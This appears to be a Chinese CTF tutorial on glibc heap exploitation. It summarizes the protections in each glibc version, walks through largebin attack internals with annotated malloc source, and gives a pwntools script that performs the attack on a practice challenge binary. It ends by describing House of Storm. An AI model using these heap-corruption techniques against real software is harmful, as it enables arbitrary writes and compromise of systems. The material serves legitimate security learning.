各版本glibc的保护手段(从2.23开始只关注重要变化)
这里先简单说一下各个glibc版本的变化,如果没说到的各位师傅可以补充
首先是2.24开了虚表保护,house of orange需要变化才能利用了
然后是2.26有tcache机制
2.27把abort函数中的fflush函数删了,完整的house of orange就此落幕
2.28在tcache里加了key字段防止tcache double free
2.29在unsortedbin里加了检测,unsortedbin落幕
2.30在largebin里加了检测,largebin attack只能写一个地址了
2.32加了safe linking机制,修改fd和bk指针需要有堆地址了
2.35则把hook函数移除了,之后堆的主要攻击就转向IO方向了。
Largebin attack
2.31前的攻击
顾名思义就是利用largebin来进行攻击,这里我贴一下源码(2.31之前),以下注释来自浅析Large_bins_attack在高低版本的利用
while((unsigned long)size < fwd->size){
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
} //这里检测的是从unsorted_bins里提取出的堆块是否小于large_bins里最近被释放的堆块的大小,如果小于,就将fwd向前移,也就是与比它更小的堆块对比
if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;//相等的话,就往后排列
else
{
victim->fd_nextsize = fwd; //这里,victim是从unsorted_bin提取出来的堆块,fwd是最近被释放进large_bin的堆块,分别对应我们的p3,p2
victim->bk_nextsize = fwd->bk_nextsize; //在此前,p2->bk_nextsize已经被我们设置为了stack_var2-0x20的地址,所以p3的bk_nextsize指向它
fwd->bk_nextsize = victim; //p2->bk_nextsize指向p3
victim->bk_nextsize->fd_nextsize = victim; //p3->bk_nextsize = stack_var2 - 0x20,也就是说我们已经伪造了一个堆块,(stack_var2-0x20)->fd_nexitsize就是stack_var2的地址,将该地址赋值p3的头指针
}
bck = fwd->bk; //p2的bk我们设置成了stack_var1-0x10,所以bck成了我们stack_var1-0x10这个虚假的chunk
这个主要是什么意思呢,就是当unsortedbin的堆块要进入largebin中时,先检测其大小,我们利用的话一般要让进入largebin的堆块大于原有largebin中的堆块,这样就可以进下面这个else分支。因为我们攻击主要是利用这个else分支,我们单独取出来看看(也可以配合注释来看)
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;#第一个任意写的地方
}
bck = fwd->bk;
[...]
mark_bin (av, victim_index);
victim->bk = bck;#第二个任意写的地方
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.
其实很简单,就是取值,把原堆块结构体里的指针指向新来的堆块,那我们是如何去进行攻击的呢?通过各种手段(uaf,堆溢出)修改已经在largebin的指针,伪造出堆块,修改已经在largebin的堆块的bk,bk_nextsize,把bk修改成目标地址-0x10,把bk_nextsize修改成目标地址-0x20(为什么修改这两个?因为largebin是头插法,所以我们下一个堆块进来时bk指针会改变,因为largebin是从大到小排列,我们进来的堆块比原来的大,所以bk_nextsize的值会变化)修改后就相当于又伪造出了两个堆块(因为没有对此进行检测,所以系统就以为这里有两个堆块,也就有了我们后面的攻击大概就是如图所示),改前:
改后:
这时候我们又有一个堆块想进入largebin,那么因为是头差法,就要找出来这个链表的头,也就是一个个bk遍历过去,在这里也就是这个堆块1(正中间的堆)的bk指针指向的堆块是头,这个堆块的bk指针就要指向新来堆块的堆地址,也就是把bk指针(目标地址-0x10)看成一个堆块的起始地址,我们要取他的bk指针就会对这个地址+0x10,然后就会把其中的值赋上新来堆块的地址;bk_nextsize同理,因为堆是从大到小排列,就要把整个链表的头找出来,也就是对bk_nextsize进行遍历,这个堆块1的bk_nextsize上面就是我们伪造的堆,他的bk_nextsize肯定是没有指向有效的值的,所以就会把堆块1的bk_nextsize指向的假堆看成是链表头,这时候就要取他的bk_nextsize(也就是为什么我们要把bk_nextsize写成目标地址-0x20)因为取头就要+0x20,最终效果如图。
看起来皆大欢喜,这个新来的堆成功进入了largebin的大家族,但其实其中两个家庭成员都是假的,我们的攻击也就此完成了。我们也在实际例子中试试看。来看例题
Polarctf-unk
这个题解法是unlink,不过我们目前不是演示这题怎么解的,只是演示一下unlink,这题有uaf漏洞,还有堆溢出漏洞,got表可写而且还没开pie,还是2.23版本的题,只能说是完美的沙包了。而且函数名也没剔除,感兴趣的话可以去这里下载PolarD&N
演示的脚本如下
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
#libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
p = remote('1')
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def add(s,a):
ru(b"choice:")
sdr(1)
ru(b"index:")
sdr(s)
ru(b"size:")
sdr(a)
def free(s):
ru(b"choice:")
sdr(2)
ru(b"index:")
sdr(s)
def edit(s,a,d):
ru(b"choice:")
sdr(3)
ru(b"index:")
sdr(s)
ru(b"length:")
sdr(a)
ru(b"content:")
sd(d)
def show(s):
ru(b"choice:")
sdr(4)
ru(b"index:")
sdr(s)
tar=0x6010C0+0x50
add(0,0x300)#让其他堆能顺利进入largebin的堆
add(5,0x20)#防合并的堆
add(1,0x410)#先进largebin的堆
add(6,0x20)#防合并的堆
add(2,0x420)#后进largebin的堆
add(3,0x20)#防合并的堆
free(0)
free(1)
add(4,0x30)#让堆块1先进largebin
free(2)#让堆块2进入unsortedbin
pay=0x20*b'b'+flat(0,0x401,0,tar+8-0x10,0,tar-0x20)
edit(5,0x70,pay)#修改堆块1的内容(bk,bk_nextsize)
add(5,0x30)#让堆块2进入largebin,达成攻击
dbg()
ti()
为什么要堆块0呢?因为unsortedbin的堆块需要在再次申请堆块,遍历后大小合适才会把其中的堆块放入largebin,所以我们就一直申请0x30大小的堆,让堆块0一直被切割,同时触发遍历,把堆块放进largebin。攻击前
攻击后
可以肯定我们成功在堆块链表0x6010C0+0x50的地方写了两个堆块地址,这个堆块地址就是刚进入largebin的堆块地址。
2.31后因为加了检测,所以只能通过bk_nextsize写一个堆块了
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) //以上面的p2为例的话,那就是检测stack_var2-0x20的fd_nextsize是否指向p2。是的话就报错
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)// 同理,如果stack_var1-0x10的fd是否指向p2,是就报错
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
House of storm
这个感觉名字很贴切,确实是storm,非常快速啊,通过一次申请改三个地址,并且直接申请到目标地址。主要利用手法就是先准备好一个unsortedbin中的堆块,再准备一个largebin中的堆块,修改largeQbin的bk,bk_nextsize分别是目标地址+8,目标地址-0x18-5,然后准备一个堆块大小小于largebin中的堆块,但能被放进largebin中的堆块。最后申请指定大小的堆就可以完成攻击了。因为在申请堆的时候在没有tcache时,先遍历unsortedbin,如果没有相同大小的堆就会把unsortedbin的堆放入对应的bin中,这时就会触发unsortedbinattack和largebinattack,这时我们就已经伪造出一个堆了(unsortedbin改的是bk指针,也就是下一个堆块的地址,当我们攻击完成后,这个堆块就符合要求可以申请了),具体的话就是用largebinattack伪造size位与bk指针,unsortedbin伪造fd指针,从而通过检测。具体我没有找到对应的题就不演示了,只能演示一下攻击效果,我这个没有开pie所以堆地址很小写不到size位